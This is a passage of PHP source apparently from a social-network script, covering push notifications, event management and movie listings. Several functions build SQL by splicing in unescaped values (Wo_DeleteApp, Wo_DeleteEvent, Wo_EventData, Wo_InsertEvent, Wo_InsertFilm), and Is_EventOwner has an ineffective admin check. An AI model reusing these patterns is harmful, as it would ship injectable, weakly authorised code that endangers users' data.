$wo['user']['name']; $send_array['notification']['notification_image'] = $wo['user']['avatar']; $send_array['notification']['notification_data']['user_id'] = $user_id; $send = Wo_SendPushNotification($send_array, 'android_native'); } if ($wo['config']['ios_push_native'] == 1 && !empty($to_data['ios_n_device_id'])) { $send_array['send_to'] = array( $to_data['ios_n_device_id'] ); $send_array['notification']['notification_title'] = $wo['user']['name']; $send_array['notification']['notification_image'] = $wo['user']['avatar']; $send_array['notification']['notification_data']['user_id'] = $user_id; $send = Wo_SendPushNotification($send_array, 'ios_native'); } if ($wo['config']['web_push'] == 1 && !empty($to_data['web_device_id'])) { $send_array['send_to'] = array( $to_data['web_device_id'] ); $send_array['notification']['notification_title'] = $wo['user']['name']; $send_array['notification']['notification_image'] = $wo['user']['avatar']; $send_array['notification']['notification_data']['user_id'] = $user_id; $send = Wo_SendPushNotification($send_array, 'web'); } } $query_get_messages_for_push = mysqli_query($sqlConnect, "UPDATE " . T_NOTIFICATION . " SET `sent_push` = '1' WHERE `notifier_id` = '$user_id' AND `sent_push` = '0'"); } } } return true; } function Wo_MessagesPushNotifier() { global $sqlConnect, $wo, $db; if ($wo['loggedin'] == false) { return false; } if ($wo['config']['push'] == 0) { return false; } if ($wo['config']['android_push_messages'] == 0 && $wo['config']['ios_push_messages'] == 0) { return false; } $user_id = Wo_Secure($wo['user']['user_id']); $to_ids = array(); $query_get = mysqli_query($sqlConnect, "SELECT * FROM " . T_MESSAGES . " WHERE `from_id` = '$user_id' AND `seen` = '0' AND `sent_push` = '0' ORDER BY `id` DESC"); if (mysqli_num_rows($query_get) > 0) { while ($sql_get_messages_for_push = mysqli_fetch_assoc($query_get)) { if (!in_array($sql_get_messages_for_push['to_id'], $to_ids)) { $get_session_data = Wo_GetSessionDataFromUserID($sql_get_messages_for_push['to_id']); if (empty($get_session_data)) { $send_notify = true; if (!empty($sql_get_messages_for_push['page_id'])) { $chat_type = 'page'; $chat = $db->where('user_id', $sql_get_messages_for_push['to_id'])->where('page_id', $sql_get_messages_for_push['page_id'])->getOne(T_U_CHATS); } elseif (!empty($sql_get_messages_for_push['group_id'])) { $chat_type = 'group'; $chat = $db->where('group_id', $sql_get_messages_for_push['group_id'])->getOne(T_GROUP_CHAT); } else { $chat_type = 'user'; $chat = $db->where('user_id', $sql_get_messages_for_push['to_id'])->getOne(T_U_CHATS); } if (!empty($chat)) { if ($chat_type == 'group') { $db->where('chat_id', $chat->group_id); } else { $db->where('chat_id', $chat->id); } $mute = $db->where('type', $chat_type)->getOne(T_MUTE); if (!empty($mute) && $mute->notify == 'no') { $send_notify = false; } if ($mute->archive == 'yes') { $db->where('id', $mute->id)->update(T_MUTE, array( 'archive' => 'no' )); } } if ($send_notify) { $message_id = $sql_get_messages_for_push['id']; $to_id = $sql_get_messages_for_push['to_id']; $to_data = Wo_UserData($sql_get_messages_for_push['to_id']); $notification_data = array( 'user_id' => $user_id ); if (!empty($sql_get_messages_for_push['group_id'])) { $notification_data['group_id'] = $sql_get_messages_for_push['group_id']; $notification_data['type'] = 'group'; } elseif (!empty($sql_get_messages_for_push['page_id'])) { $notification_data['page_id'] = $sql_get_messages_for_push['page_id']; $notification_data['type'] = 'page'; } else { $notification_data['type'] = 'user'; } if (!empty($to_data['android_m_device_id']) && $wo['config']['android_push_messages'] != 0) { $send_array = array( 'send_to' => array( $to_data['android_m_device_id'] ), 'notification' => array( 'notification_content' => $sql_get_messages_for_push['text'], 'notification_title' => $wo['user']['name'], 'notification_image' => $wo['user']['avatar'], 'notification_data' => $notification_data ) ); $send = Wo_SendPushNotification($send_array, 'android_messenger'); if ($send) { $query_get_messages_for_push = mysqli_query($sqlConnect, "UPDATE " . T_MESSAGES . " SET `notification_id` = '$send' WHERE `id` = '$message_id'"); } } if (!empty($to_data['ios_m_device_id']) && $wo['config']['ios_push_messages'] != 0) { $send_array = array( 'send_to' => array( $to_data['ios_m_device_id'] ), 'notification' => array( 'notification_content' => $sql_get_messages_for_push['text'], 'notification_title' => $wo['user']['name'], 'notification_image' => $wo['user']['avatar'], 'notification_data' => $notification_data ) ); $send = Wo_SendPushNotification($send_array, 'ios_messenger'); if ($send) { $query_get_messages_for_push = mysqli_query($sqlConnect, "UPDATE " . T_MESSAGES . " SET `notification_id` = '$send' WHERE `id` = '$message_id'"); } } } $query_get_messages_for_push = mysqli_query($sqlConnect, "UPDATE " . T_MESSAGES . " SET `sent_push` = '1' WHERE `from_id` = '$user_id' AND `to_id` = '$to_id' AND `sent_push` = '0'"); } } $to_ids[] = $sql_get_messages_for_push['to_id']; } } return true; } function Is_EventOwner($id, $user = false, $admin = true) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id) { return false; } $user = ($user && is_numeric($user)) ? $user : $wo['user']['id']; $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_EVENTS . " WHERE `id` = '$id'"); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); $result = false; if (!empty($fetched_data)) { if ($fetched_data['poster_id'] == $user) { if ($admin == true) { if (Wo_IsAdmin($user)) { $result = true; } } $result = true; } } return $result; } return false; } function Wo_InsertEvent($registration_data = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $fields = '`' . implode('`, `', array_keys($registration_data)) . '`'; $data = '\'' . implode('\', \'', $registration_data) . '\''; $query = mysqli_query($sqlConnect, "INSERT INTO " . T_EVENTS . " ({$fields}) VALUES ({$data})"); if ($query) { $id = mysqli_insert_id($sqlConnect); $register_post = Wo_RegisterPost(array( 'user_id' => Wo_Secure($wo['user']['user_id']), 'time' => time(), 'postPrivacy' => '0', 'page_event_id' => $id )); return $id; } return false; } function Wo_UpdateEvent($id = 0, $update_data = array()) { global $sqlConnect, $wo; $update = array(); if ($wo['loggedin'] == false) { return false; } if (empty($update_data)) { return false; } if (empty($id)) { return false; } $id = Wo_Secure($id); foreach ($update_data as $field => $data) { $update[] = '`' . $field . '` = \'' . Wo_Secure($data, 0) . '\''; } $impload = implode(', ', $update); $query_one = "UPDATE " . T_EVENTS . " SET {$impload} WHERE `id` = {$id} "; $query = mysqli_query($sqlConnect, $query_one); return $query; } function Wo_EventGoingExists($event_id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (!$event_id || !is_numeric($event_id)) { return false; } $event_id = Wo_Secure($event_id); $user_id = $wo['user']['id']; $data = array(); $sql = "SELECT `id` FROM " . T_EVENTS_GOING . " WHERE `event_id` = '$event_id' AND `user_id` = '$user_id ' "; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $data[] = $fetched_data; } } if (count($data) > 0) { return true; } return false; } function Wo_EventInterestedExists($event_id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (!$event_id || !is_numeric($event_id)) { return false; } $event_id = Wo_Secure($event_id); $user_id = $wo['user']['id']; $data = array(); $sql = "SELECT `id` FROM " . T_EVENTS_INT . " WHERE `event_id` = '$event_id' AND `user_id` = '$user_id' "; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $data[] = $fetched_data; } } if (count($data) > 0) { return true; } return false; } function Wo_EventInvitedExists($event_id, $user_id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (!$event_id || !is_numeric($event_id)) { return false; } if (!$user_id || !is_numeric($user_id)) { return false; } $event_id = Wo_Secure($event_id); $user_id = Wo_Secure($user_id); $data = array(); $sql = "SELECT `id` FROM " . T_EVENTS_INV . " WHERE `event_id` = '$event_id' AND `invited_id` = '$user_id' "; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $data[] = $fetched_data; } } if (count($data) > 0) { return true; } return false; } function Wo_TotalInvitedUsers($event_id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (!$event_id || !is_numeric($event_id)) { return 0; } $event_id = Wo_Secure($event_id); $user_id = $wo['user']['id']; $data = array(); $sql = "SELECT COUNT(`id`) AS count FROM " . T_EVENTS_INV . " WHERE `event_id` = '$event_id'"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); return $fetched_data['count']; } return false; } function Wo_TotalGoingUsers($event_id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (!$event_id || !is_numeric($event_id)) { return 0; } $event_id = Wo_Secure($event_id); $user_id = $wo['user']['id']; $data = array(); $sql = "SELECT COUNT(`id`) AS count FROM " . T_EVENTS_GOING . " WHERE `event_id` = '$event_id'"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); return $fetched_data['count']; } return false; } function Wo_TotalInterestedUsers($event_id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (!$event_id || !is_numeric($event_id)) { return 0; } $event_id = Wo_Secure($event_id); $user_id = $wo['user']['id']; $data = array(); $sql = "SELECT COUNT(`id`) AS count FROM " . T_EVENTS_INT . " WHERE `event_id` = '$event_id'"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); return $fetched_data['count']; } return false; } function Wo_AddEventGoingUsers($event_id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (!$event_id || !is_numeric($event_id)) { return false; } if (Wo_EventGoingExists($event_id)) { return false; } $user_id = $wo['user']['id']; $event_id = Wo_Secure($event_id); $event_data = Wo_EventData($event_id); $sql = "INSERT INTO " . T_EVENTS_GOING . " (`id`, `event_id`, `user_id`) VALUES (NULL, '$event_id', '$user_id')"; $query = mysqli_query($sqlConnect, $sql); if ($query) { $result = mysqli_query($sqlConnect, "DELETE FROM " . T_EVENTS_INV . " WHERE `event_id` = '$event_id' AND `invited_id` = '$user_id'"); $notification_data_array = array( 'recipient_id' => $event_data['poster_id'], 'type' => 'going_event', 'event_id' => $event_id, 'url' => 'index.php?link1=timeline&u=' . $wo['user']['username'] ); Wo_RegisterNotification($notification_data_array); } return $query; } function Wo_AddEventInvitedUsers($event_id, $user_id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (!$event_id || !is_numeric($event_id)) { return false; } if (!$user_id || !is_numeric($user_id)) { return false; } if (Wo_EventInvitedExists($event_id, $user_id)) { return false; } $invited_id = Wo_Secure($user_id); $inviter_id = $wo['user']['id']; $event_id = Wo_Secure($event_id); $sql = "INSERT INTO " . T_EVENTS_INV . " (`id`, `event_id`, `inviter_id`,`invited_id`) VALUES (NULL, '$event_id', '$inviter_id','$invited_id')"; return mysqli_query($sqlConnect, $sql); } function Wo_AddEventInterestedUsers($event_id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (!$event_id || !is_numeric($event_id)) { return false; } if (Wo_EventInterestedExists($event_id)) { return false; } $user_id = $wo['user']['id']; $event_id = Wo_Secure($event_id); $event_data = Wo_EventData($event_id); $sql = "INSERT INTO " . T_EVENTS_INT . " (`id`, `event_id`, `user_id`) VALUES (NULL, '$event_id', '$user_id')"; $query = mysqli_query($sqlConnect, $sql); if ($query) { $notification_data_array = array( 'recipient_id' => $event_data['poster_id'], 'type' => 'interested_event', 'event_id' => $event_id, 'url' => 'index.php?link1=timeline&u=' . $wo['user']['username'] ); Wo_RegisterNotification($notification_data_array); } return $query; } function Wo_UnsetEventInterestedUsers($event_id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (!$event_id || !is_numeric($event_id)) { return false; } $event_id = Wo_Secure($event_id); $user_id = $wo['user']['id']; $sql = "DELETE FROM " . T_EVENTS_INT . " WHERE `user_id` = '$user_id' AND `event_id` = '$event_id'"; $query = mysqli_query($sqlConnect, $sql); if ($query) { return true; } return false; } function Wo_UnsetEventGoingUsers($event_id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (!$event_id || !is_numeric($event_id)) { return false; } $event_id = Wo_Secure($event_id); $user_id = $wo['user']['id']; $sql = "DELETE FROM " . T_EVENTS_GOING . " WHERE `user_id` = '$user_id' AND `event_id` = '$event_id'"; $sql2 = "DELETE FROM " . T_EVENTS_INT . " WHERE `user_id` = '$user_id' AND `event_id` = '$event_id'"; $query = mysqli_query($sqlConnect, $sql); $query2 = mysqli_query($sqlConnect, $sql2); if ($query) { return true; } return false; } function Wo_GetEvents($args = array()) { global $sqlConnect, $wo; // if ($wo['loggedin'] == false) { // return false; // } $options = array( "offset" => 0, "limit" => 10, 'is_admin' => 0 ); $args = array_merge($options, $args); $sub_q = ""; $total = ""; $offset = $args['offset']; $limit = $args['limit']; if ($offset > 0) { $sub_q .= " AND `id` < {$offset} AND `id` <> {$offset} "; } if ($limit && is_numeric($limit)) { $total = " LIMIT $limit "; } $sql = "SELECT * FROM " . T_EVENTS; if ($wo['config']['events_visibility'] == 1) { $user = $wo['user']['id']; if (empty($args['is_admin'])) { $sql .= " WHERE `id` NOT IN (SELECT `event_id` FROM " . T_EVENTS_GOING . " WHERE `user_id` = '$user') AND `id` NOT IN (SELECT `event_id` FROM " . T_EVENTS_INT . " WHERE `user_id` = '$user') AND `end_date` >= CURDATE() {$sub_q} ORDER BY `id` DESC {$total} "; } } $query = mysqli_query($sqlConnect, $sql); $data = array(); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['poster_id']); //$fetched_data['start_date'] = date('F j Y, g:i a', strtotime($fetched_data['start_date'] . $fetched_data['start_time'])); $fetched_data['start_date'] = date($wo['config']['date_style'], strtotime($fetched_data['start_date'] . $fetched_data['start_time'])); $fetched_data['cover'] = Wo_GetMedia($fetched_data['cover']); $fetched_data['url'] = Wo_SeoLink("index.php?link1=show-event&eid=" . $fetched_data['id']); $data[] = $fetched_data; } } return $data; } function Wo_GetSuggestedEvents($args = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $options = array( "limit" => 5 ); $args = array_merge($options, $args); $limit = $args['limit']; $user = $wo['user']['id']; $sql = "SELECT * FROM " . T_EVENTS . " WHERE `id` NOT IN (SELECT `event_id` FROM " . T_EVENTS_GOING . " WHERE `user_id` = '$user') AND `id` NOT IN (SELECT `event_id` FROM " . T_EVENTS_INT . " WHERE `user_id` = '$user') ORDER BY RAND()"; if ($limit && is_numeric($limit)) { $sql .= " LIMIT $limit "; } $query = mysqli_query($sqlConnect, $sql); $data = array(); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['poster_id']); $fetched_data['start_date'] = date('F j Y, g:i a', strtotime($fetched_data['start_date'] . $fetched_data['start_time'])); $fetched_data['url'] = Wo_SeoLink("index.php?link1=show-event&eid=" . $fetched_data['id']); $data[] = $fetched_data; } } return $data; } function Wo_GetGoingEvents($offset = 0, $limit = 10) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $sub_q = ""; if ($offset > 0) { $sub_q = " AND `event_id` < {$offset} AND `event_id` <> {$offset} "; } $user_id = $wo['user']['id']; $limit = Wo_Secure($limit); $sql = "SELECT `event_id` FROM " . T_EVENTS_GOING . " WHERE `user_id` = '$user_id' {$sub_q} ORDER BY `event_id` DESC LIMIT {$limit}"; $query = mysqli_query($sqlConnect, $sql); $data = array(); if (mysqli_num_rows($query)) { if ($query && !empty($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $data[] = Wo_EventData($fetched_data['event_id']); } } } return $data; } function Wo_GetInvitedEvents($offset = 0, $limit = 10) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $sub_q = ""; if ($offset > 0) { $sub_q = " AND `event_id` < {$offset} AND `event_id` <> {$offset} "; } $user_id = $wo['user']['id']; $limit = Wo_Secure($limit); $sql = "SELECT `event_id` FROM " . T_EVENTS_INV . " WHERE `invited_id` = '$user_id' {$sub_q} ORDER BY `event_id` DESC LIMIT {$limit}"; $query = mysqli_query($sqlConnect, $sql); $data = array(); if (mysqli_num_rows($query)) { if ($query && !empty($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $data[] = Wo_EventData($fetched_data['event_id']); } } } return $data; } function Wo_GetInterestedEvents($offset = 0, $limit = 10) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $sub_q = ""; if ($offset > 0) { $sub_q = " AND `event_id` < {$offset} AND `event_id` <> {$offset} "; } $user_id = $wo['user']['id']; $limit = Wo_Secure($limit); $sql = "SELECT `event_id` FROM " . T_EVENTS_INT . " WHERE `user_id` = '$user_id' {$sub_q} ORDER BY `event_id` DESC LIMIT {$limit}"; $query = mysqli_query($sqlConnect, $sql); $data = array(); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $event = Wo_EventData($fetched_data['event_id']); if ($event && !empty($event)) { $data[] = $event; } } } return $data; } function Wo_GetInterestedEventsUsers($event_id, $offset = 0, $limit = 0) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (empty($event_id) || !is_numeric($event_id) || $event_id < 1) { return false; } $event_id = Wo_Secure($event_id); $sub_q = ""; if ($offset > 0) { $sub_q = " AND `id` < {$offset} AND `id` <> {$offset} "; } $limit_query = ''; if (!empty($limit)) { $limit_query = " LIMIT $limit"; } $user_id = $wo['user']['id']; $sql = "SELECT `user_id`,`id` FROM " . T_EVENTS_INT . " WHERE `event_id` = '$event_id' {$sub_q} ORDER BY `id` DESC $limit_query"; $query = mysqli_query($sqlConnect, $sql); $data = array(); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $event = Wo_UserData($fetched_data['user_id']); $event['id_in'] = $fetched_data['id']; if ($event && !empty($event)) { $data[] = $event; } } } return $data; } function Wo_GetGoingEventsUsers($event_id, $offset = 0, $limit = 0) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (empty($event_id) || !is_numeric($event_id) || $event_id < 1) { return false; } $event_id = Wo_Secure($event_id); $sub_q = ""; if ($offset > 0) { $sub_q = " AND `id` < {$offset} AND `id` <> {$offset} "; } $limit_query = ''; if (!empty($limit)) { $limit_query = " LIMIT $limit"; } $user_id = $wo['user']['id']; $sql = "SELECT `user_id`,`id` FROM " . T_EVENTS_GOING . " WHERE `event_id` = '$event_id' {$sub_q} ORDER BY `id` DESC $limit_query"; $query = mysqli_query($sqlConnect, $sql); $data = array(); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $event = Wo_UserData($fetched_data['user_id']); $event['id_go'] = $fetched_data['id']; if ($event && !empty($event)) { $data[] = $event; } } } return $data; } function Wo_GetPastEvents($offset = 0, $limit = 10) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $limit = Wo_Secure($limit); $sub_q = ""; if ($offset > 0) { $sub_q = " AND `id` < {$offset} AND `id` <> {$offset} "; } $sql = "SELECT * FROM " . T_EVENTS . " WHERE `end_date` < CURDATE() {$sub_q} ORDER BY `id` DESC LIMIT {$limit}"; $query = mysqli_query($sqlConnect, $sql); $data = array(); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['poster_id']); $fetched_data['cover'] = Wo_GetMedia($fetched_data['cover']); $fetched_data['is_owner'] = Is_EventOwner($fetched_data['id']); $fetched_data['url'] = Wo_SeoLink("index.php?link1=show-event&eid=" . $fetched_data['id']); $fetched_data['start_date'] = date($wo['config']['date_style'], strtotime($fetched_data['start_date'] . $fetched_data['start_time'])); $data[] = $fetched_data; } } return $data; } function Wo_GetMyEvents($offset = 0, $limit = 10) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $sub_q = ""; if ($offset > 0) { $sub_q = " AND `id` < {$offset} AND `id` <> {$offset} "; } $limit = Wo_Secure($limit); $user_id = $wo['user']['user_id']; $sql = "SELECT * FROM " . T_EVENTS . " WHERE `poster_id` = '$user_id' {$sub_q} ORDER BY `id` DESC LIMIT {$limit}"; $query = mysqli_query($sqlConnect, $sql); $data = array(); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['poster_id']); $fetched_data['cover'] = Wo_GetMedia($fetched_data['cover']); $fetched_data['is_owner'] = Is_EventOwner($fetched_data['id']); $fetched_data['url'] = Wo_SeoLink("index.php?link1=show-event&eid=" . $fetched_data['id']); $fetched_data['start_date'] = date($wo['config']['date_style'], strtotime($fetched_data['start_date'] . $fetched_data['start_time'])); $data[] = $fetched_data; } } return $data; } function Wo_DeleteApp($id = false) { global $sqlConnect, $wo; $result = false; if ($wo['loggedin'] == false) { return false; } if (Wo_IsAdmin() == false && Wo_IsModerator() == false) { return false; } $result = mysqli_query($sqlConnect, "DELETE FROM " . T_APPS . " WHERE `id` = '$id'"); if ($result) { return true; } return false; } function Wo_DeleteEvent($id = false) { global $sqlConnect, $wo; $result = false; if ($wo['loggedin'] == false) { return false; } if (!Is_EventOwner($id)) { if (Wo_IsAdmin() == false && Wo_IsModerator() == false) { return false; } } $result = mysqli_query($sqlConnect, "DELETE FROM " . T_EVENTS . " WHERE `id` = '$id'"); if ($result) { $result = mysqli_query($sqlConnect, "DELETE FROM " . T_EVENTS_INT . " WHERE `event_id` = '$id'"); $result = mysqli_query($sqlConnect, "DELETE FROM " . T_EVENTS_GOING . " WHERE `event_id` = '$id'"); $result = mysqli_query($sqlConnect, "DELETE FROM " . T_EVENTS_INV . " WHERE `event_id` = '$id'"); $result = mysqli_query($sqlConnect, "DELETE FROM " . T_NOTIFICATION . " WHERE `event_id` = {$id}"); $query_9_delete_media = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_POSTS . " WHERE `event_id` = {$id}"); if (mysqli_num_rows($query_9_delete_media) > 0) { while ($fetched_data = mysqli_fetch_assoc($query_9_delete_media)) { $delete_posts = Wo_DeletePost($fetched_data['id']); } } $query_10_delete_media = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_POSTS . " WHERE `page_event_id` = {$id}"); if (mysqli_num_rows($query_10_delete_media) > 0) { while ($fetched_data = mysqli_fetch_assoc($query_10_delete_media)) { $delete_posts = Wo_DeletePost($fetched_data['id']); } } return true; } return false; } function Wo_EventData($id = false) { global $sqlConnect, $wo; // if ($wo['loggedin'] == false || !$id || !is_numeric($id)) { // return false; // } $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_EVENTS . " WHERE `id` = '$id'"); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); if (!empty($fetched_data)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['poster_id']); $fetched_data['cover'] = Wo_GetMedia($fetched_data['cover']); $fetched_data['is_owner'] = Is_EventOwner($fetched_data['id']); //$fetched_data['start_date'] = date($fetched_data['start_date']); $fetched_data['start_edit_date'] = date($fetched_data['start_date']); $fetched_data['start_date_js'] = date('m/d/y', strtotime($fetched_data['start_date'] . $fetched_data['start_time'])); $fetched_data['start_date'] = date($wo['config']['date_style'], strtotime($fetched_data['start_date'] . $fetched_data['start_time'])); $fetched_data['end_edit_date'] = date($fetched_data['end_date']); $fetched_data['end_date'] = date($wo['config']['date_style'], strtotime($fetched_data['end_date'])); $fetched_data['url'] = Wo_SeoLink("index.php?link1=show-event&eid=" . $fetched_data['id']); return $fetched_data; } } return array(); } function Wo_RegsiterEventInvite($user_id, $event_id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (empty($user_id) || !is_numeric($user_id)) { return false; } if (empty($event_id) || !is_numeric($event_id)) { return false; } if (!Is_EventOwner($event_id, $user_id) && Wo_AddEventInvitedUsers($event_id, $user_id)) { $notification_data_array = array( 'recipient_id' => $user_id, 'type' => 'invited_event', 'event_id' => $event_id, 'url' => 'index.php?link1=show-event&eid=' . $event_id ); Wo_RegisterNotification($notification_data_array); return true; } return false; } function DetermineUserLang() { global $wo; if ($wo['loggedin'] == false) { return false; } $lang = $wo['user']['language']; $language = false; $wo_langs = array( 'english' => 'en', 'arabic' => 'ar', 'dutch' => 'nl', 'french' => 'fr', 'german' => 'de', 'italian' => 'it', 'portuguese' => 'pt', 'russian' => 'ru', 'spanish' => 'es', 'turkish' => 'tr' ); if (array_key_exists($lang, $wo_langs)) { $language = $wo_langs[$lang]; } return $language; } // *** Movies *** function Wo_InsertFilm($registration_data = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $fields = '`' . implode('`, `', array_keys($registration_data)) . '`'; $data = '\'' . implode('\', \'', $registration_data) . '\''; $sql = "INSERT INTO " . T_MOVIES . " ({$fields}) VALUES ({$data})"; $query = mysqli_query($sqlConnect, $sql) or die(mysqli_error($sqlConnect)); if ($query) { $id = mysqli_insert_id($sqlConnect); return $id; } return false; } function Wo_UpdateFilm($id = 0, $update_data = array()) { global $sqlConnect, $wo; $update = array(); if ($wo['loggedin'] == false) { return false; } if (empty($update_data)) { return false; } if (empty($id)) { return false; } $id = Wo_Secure($id); foreach ($update_data as $field => $data) { $update[] = '`' . $field . '` = \'' . Wo_Secure($data, 0) . '\''; } $impload = implode(', ', $update); $query_one = "UPDATE " . T_MOVIES . " SET {$impload} WHERE `id` = {$id} "; $query = mysqli_query($sqlConnect, $query_one); return $query; } function Wo_AddBlogCommReplyDisLikes($id, $blog) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1 || !$blog || $blog < 1) { return false; } $id = Wo_Secure($id); $blog = Wo_Secure($blog); $comment = Wo_GetBlogCommReplyData($id); $result = false; $user = $wo['user']['id']; if ($comment && !empty($comment) && !Wo_IsBlogCommentReplyDisLikeExists($id)) { $sql = "INSERT INTO " . T_BM_DISLIKES . " (`id`, `blog_comm_id`,`blog_commreply_id`, `movie_comm_id`,`movie_commreply_id`, `user_id`,`blog_id`) VALUES (NULL, '0', '$id','0','0', '$user','$blog')"; $query = mysqli_query($sqlConnect, $sql); if ($query) { $result = true; @Wo_RemoveBlogCommentReplyLikes($id); } } else if ($comment && !empty($comment) && Wo_RemoveBlogCommentReplyDisLikes($id)) { $result = true; } return $result; } function Wo_AddBlogCommentDisLikes($id, $blog) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1 || !$blog || $blog < 1) { return false; } $id = Wo_Secure($id); $blog = Wo_Secure($blog); $comment = Wo_GetBlogCommentData($id); $result = false; $user = $wo['user']['id']; @Wo_RemoveBlogCommentLikes($id); if ($comment && !empty($comment) && !Wo_IsBlogCommentDisLikeExists($id)) { $sql = "INSERT INTO " . T_BM_DISLIKES . " (`id`, `blog_comm_id`,`blog_commreply_id`, `movie_comm_id`,`movie_commreply_id`, `user_id`,`blog_id`) VALUES (NULL, '$id', '0','0','0', '$user','$blog')"; $query = mysqli_query($sqlConnect, $sql); if ($query) { $result = true; } } else if ($comment && !empty($comment) && Wo_RemoveBlogCommentDisLikes($id)) { $result = true; } return $result; } function Wo_GetMovies($args = array()) { global $sqlConnect, $wo; // if ($wo['loggedin'] == false) { // return false; // } $options = array( "offset" => 0, "limit" => 26, "id" => false, "genre" => false, "country" => false ); $args = array_merge($options, $args); $offset = $args['offset']; $limit = $args['limit']; $genre = Wo_Secure($args['genre']); $id = Wo_Secure($args['id']); $country = Wo_Secure($args['country']); $sub_sql = ""; $total = ""; if ($offset && $offset > 0) { $sub_sql .= " AND `id` < {$offset} AND `id` <> {$offset} "; } if ($id && is_numeric($id)) { $sub_sql .= " AND `id` = '$id' "; } if ($genre && is_string($genre)) { $sub_sql .= " AND `genre` = '$genre' "; } if ($country && is_string($country)) { $sub_sql .= " AND `country` = '$country' "; } if ($limit && is_numeric($limit)) { $total = " LIMIT $limit "; } $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_MOVIES . " WHERE `id` > 0 {$sub_sql} ORDER BY `id` DESC {$total}"); $data = array(); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['cover'] = Wo_GetMedia($fetched_data['cover']); $fetched_data['source'] = Wo_GetMedia($fetched_data['source']); $fetched_data['url'] = Wo_SeoLink("index.php?link1=watch-film&film-id=" . $fetched_data['id']); $data[] = $fetched_data; } } return $data; } function Wo_GetRecommendedFilms() { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $data = array(); $year = date('Y'); $sql = "SELECT * FROM " . T_MOVIES . " WHERE `release` = '$year' OR `quality` IN ('hd','dvd','hd-tv') ORDER BY `id` DESC LIMIT 26"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['cover'] = Wo_GetMedia($fetched_data['cover']); $fetched_data['source'] = Wo_GetMedia($fetched_data['source']); $fetched_data['url'] = Wo_SeoLink("index.php?link1=watch-film&film-id=" . $fetched_data['id']); $data[] = $fetched_data; } } return $data; } function Wo_GetNewFilms() { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $data = array(); $year = date('Y'); $sql = "SELECT * FROM " . T_MOVIES . " WHERE `release` = '$year' ORDER BY `id` DESC LIMIT 26"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['cover'] = Wo_GetMedia($fetched_data['cover']); $fetched_data['source'] = Wo_GetMedia($fetched_data['source']); $fetched_data['url'] = Wo_SeoLink("index.php?link1=watch-film&film-id=" . $fetched_data['id']); $data[] = $fetched_data; } } return $data; } function Wo_GetMtwFilms($limit = 26) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } 